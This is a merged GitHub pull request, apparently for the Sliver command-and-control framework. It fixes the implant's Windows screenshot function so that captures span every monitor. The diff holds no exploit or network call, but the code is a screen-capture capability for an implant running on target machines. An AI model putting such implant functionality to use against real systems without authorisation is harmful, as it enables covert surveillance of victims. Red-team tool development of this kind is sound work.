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FIX windows screenshot when multiple monitors are used #1222

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merged 1 commit into from
May 5, 2023
Merged

FIX windows screenshot when multiple monitors are used #1222

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13 changes: 6 additions & 7 deletions implant/sliver/screen/screenshot_windows.go
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Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ package screen

import (
"bytes"
"image"
"image/png"

//{{if .Config.Debug}}
Expand All @@ -28,7 +29,7 @@ import (
screen "github.com/kbinani/screenshot"
)

//Screenshot - Retrieve the screenshot of the active displays
// Screenshot - Retrieve the screenshot of the active displays
func Screenshot() []byte {
return WindowsCapture()
}
Expand All @@ -37,15 +38,13 @@ func Screenshot() []byte {
func WindowsCapture() []byte {
nDisplays := screen.NumActiveDisplays()

var height, width int = 0, 0
var all image.Rectangle = image.Rect(0, 0, 0, 0)

for i := 0; i < nDisplays; i++ {
rect := screen.GetDisplayBounds(i)
if rect.Dy() > height {
height = rect.Dy()
}
width += rect.Dx()
all = rect.Union(all)
}
img, err := screen.Capture(0, 0, width, height)
img, err := screen.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy())

if err != nil {
//{{if .Config.Debug}}
Expand Down